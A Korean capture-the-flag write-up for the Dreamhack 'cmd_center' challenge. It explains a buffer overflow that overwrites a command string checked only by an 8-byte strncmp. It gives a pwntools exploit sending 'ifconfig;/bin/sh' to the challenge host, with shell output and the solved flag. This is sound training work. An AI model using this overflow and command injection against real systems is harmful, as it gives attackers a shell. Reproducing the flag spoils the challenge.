[dreamhack] cmd_center writeup

1. 문제

thumbnail
cmd_center

IP를 확인할 필요가 없습니다! 혹시 다른 명령어는 못쓰나요?
다른 명령어를 사용했다면 플래그를 획득하세요!

https://dreamhack.io/wargame/challenges/117

2. 풀이

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

center_name 변수에 입력을 받아서 이를 cmd_ip 변수에 들어가있는 문자열 ifconfig와 비교한다. 만약 같으면, system함수를 이용해서 cmd_ip 변수에 있는 명령어를 실행하게 된다.


처음 보면 cmd_ip 변수에 ifconfig가 잘 들어가있는지 검사를 제대로 하는 것처럼 보이기 때문에 이를 덮어쓰면 안될 것 같은 느낌이다. 하지만 strncmp 함수를 통해 처음 8바이트만 검사하기 때문에 그 뒤에 어떤 명령어를 넣던지 상관이 없다.

bash에서는 한 줄안에 여러 명령어를 수행하는 것을 아래와 같이 지원한다.

id;ifconfig;

위 명령어를 bash에서 실행하면 id 명령어와 ifconfig 명령어 모두 차례로 실행된다.

이를 이용하여 ifconfig는 정상적으로 덮어주되, 그뒤에 명령어를 ;/bin/sh와 같이 추가하면 쉘을 딸 수 있다. 그러면 얼마나 덮어야하는지 gdb를 보고 확인해보자.

read 함수 직전에 [rbp-0x130]이 존재하여 center_name을 입력받음을 볼 수 있고, strncmp 함수 바로 직전을 보면 [rbp-0x110]과 비교를 하는 것을 볼 수 있다.

따라서 0x20만큼 dummy로 덮고, 이후에 ifconfig;/bin/sh를 덮어주면 해결할 수 있다.

최종 payload와 결과는 아래와 같다.

from pwn import *

#p = process("./cmd_center")
p = remote("host3.dreamhack.games", 8208)

print(p.recvuntil("Center name: "))

payload = b''
payload += b'a' * 32
payload += b'ifconfig;/bin/sh'

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cmd_center$ python3 e_cmd_center.py 
[+] Opening connection to host3.dreamhack.games on port 8208: Done
/home/ubuntu/dreamhack/level1/cmd_center/e_cmd_center.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(p.recvuntil("Center name: "))
b'Center name: '
[*] Switching to interactive mode
$ cat flag
DH{f4c11bf9ea5a1df24175ee4d11da0d16}

해결~